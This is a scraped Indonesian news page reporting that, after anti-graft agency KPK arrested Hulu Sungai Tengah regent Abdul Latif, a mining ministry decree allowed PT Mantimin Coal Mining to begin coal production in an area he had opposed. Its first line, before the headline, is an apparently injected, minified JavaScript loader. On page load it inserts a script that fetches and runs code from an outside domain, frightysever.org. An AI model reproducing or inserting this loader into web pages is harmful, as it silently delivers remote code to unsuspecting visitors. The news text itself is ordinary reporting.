(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pasca Ditangkapnya Latif, Menteri ESDM Keluarkan Izin Produksi Batu Bara di HST


BANJARMASIN, Tak lama setelah operasi penangkapan tangan (OTT) KPK terhadap Bupati HST Abdul Latif, beredar surat dari Kementerian Energi dan Sumber Daya Mineral (ESDM) tentang izin kegiatan produksi tambang batu bara. Hal ini seolah menjawab kekhawatiran sejumlah kalangan, mengingat sosok Abdul Latif selama ini dikenal keras menolak operasi tambang di Bumi Murakata.

Surat keputusan Menteri ESDM bernomor 441.K/30/DJB/2017 tentang Penyesuaian Tahap Kegiatan Perjanjian Karya Pengusahaan Pertambangan Batu Bara (PKP2B) oleh Mantimin Coal Mining (MCM), menjadi tahap kegiatan operasi produksi, beredar di kalangan wartawan. Keputusan dikeluarkan untuk lokasi di wilayah HST, yang meliputi wilayah Kecamatan Batangalai Timur.

SK ini ditandatangani Dirjen Mineral dan Batu bara, Bambang Gatot Ariyono, tertanggal 4 Desember 2017 lalu. Surat ini ditembuskan kepada Bupati HST, Bupati Tabalong, Bupati Balangan, serta Direksi PT MCM.

Dalam suratnya, Menteri ESDM memutuskan bahwa PT MCM sudah bisa melakukan tahap kegiatan operasi produksi. Dimana titik koordinat MCM untuk tahap kegiatan produksi tersebut, meliputi tiga lokasi di Kabupaten HST, Balangan, dan Tabalong dengan total luas 5.908 hektare. Pada Keputusan menteri ESDM itu, juga disebutkan kegiatan operasi produksi diberikan hingga tahun 2034.

Munculnya SK Menteri ESDM tersebut, seolah menjawab kekhawatiran kalangan pegiat lingkungan pasca penangkapan Bupati Abdul Latif terkait kasus suap proyek RSUD Damanhuri sebesar Rp 3,6 miliar oleh KPK beberapa waktu lalu. Sebab selama ini, dia dikenal gigih menolak segala aktivitas pertambangan, perkebunan sawit, dan pengangkutan semen Conch.

Sebelumnya, Bupati Abdul Latif mengeluarkan surat bernomor 800/288/DLHP/2017 berisi penolakan tambang batubara, tertanggal 5 September 2017 kepada Menteri ESDM. Penolakan disampaikan berdasar hasil rapat membahas PKP2B Blok Batu Tangga untuk PT Mantimin Coal Mining dan PKP2B PT Antang Gunung Meratus di Blok Haruyan, di Kabupaten HST pada 25 Agustus 2017.

Surat tersebut juga mengacu ke Rencana Tata Ruang Wilayah (RTRW) HST secara potensi memang terhadap deposit batubara, namun peruntukkannya khusus eksploitasi tidak dimasukkan dalam RTRW HST. Latif menegaskan, Rencana Pembangunan Jangka Panjang (RPJP) 2006-2025, daerahnya berada di rel pembangunan berbasis lingkungan berdasar Perda Nomor 4 Tahun 2010.

Sedangkan untuk Rencana Pembangunan Jangka Menengah Daerah (RPJMD) periode 2016-2021, dalam Perda Nomor 5 Tahun 2016 disebutkan bahwa sumber daya yang tidak diperbaharui tidak dieksploitasikan secara maksimal hanya demi kepentingan jangka pendek. Sehingga untuk kegiatan eksploitasi tambang batubara di wilayah Kabupaten HST minimal tahun baru diberikan lampu hijau tahun 2025.

Selain itu, Bupati Abdul Latif juga mengungkapkan adanya keberatan dari komponen masyarakat terhadap usaha pertambangan batubara.  Terlebih lagi, kawasan yang diajukan PT Mantimin Coal Mining (MCM) Blok Batu Tangga merupakan daerah tangkapan air untuk Irigasi Batang Alai seluas 6.600 hektare, dan sumber air baku bagi PDAM HST dan masyarakat dengan investasi pembangunan lebih dari Rp 500 miliar.


Page: 1 2

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

11 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

14 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

19 jam ago

This website uses cookies.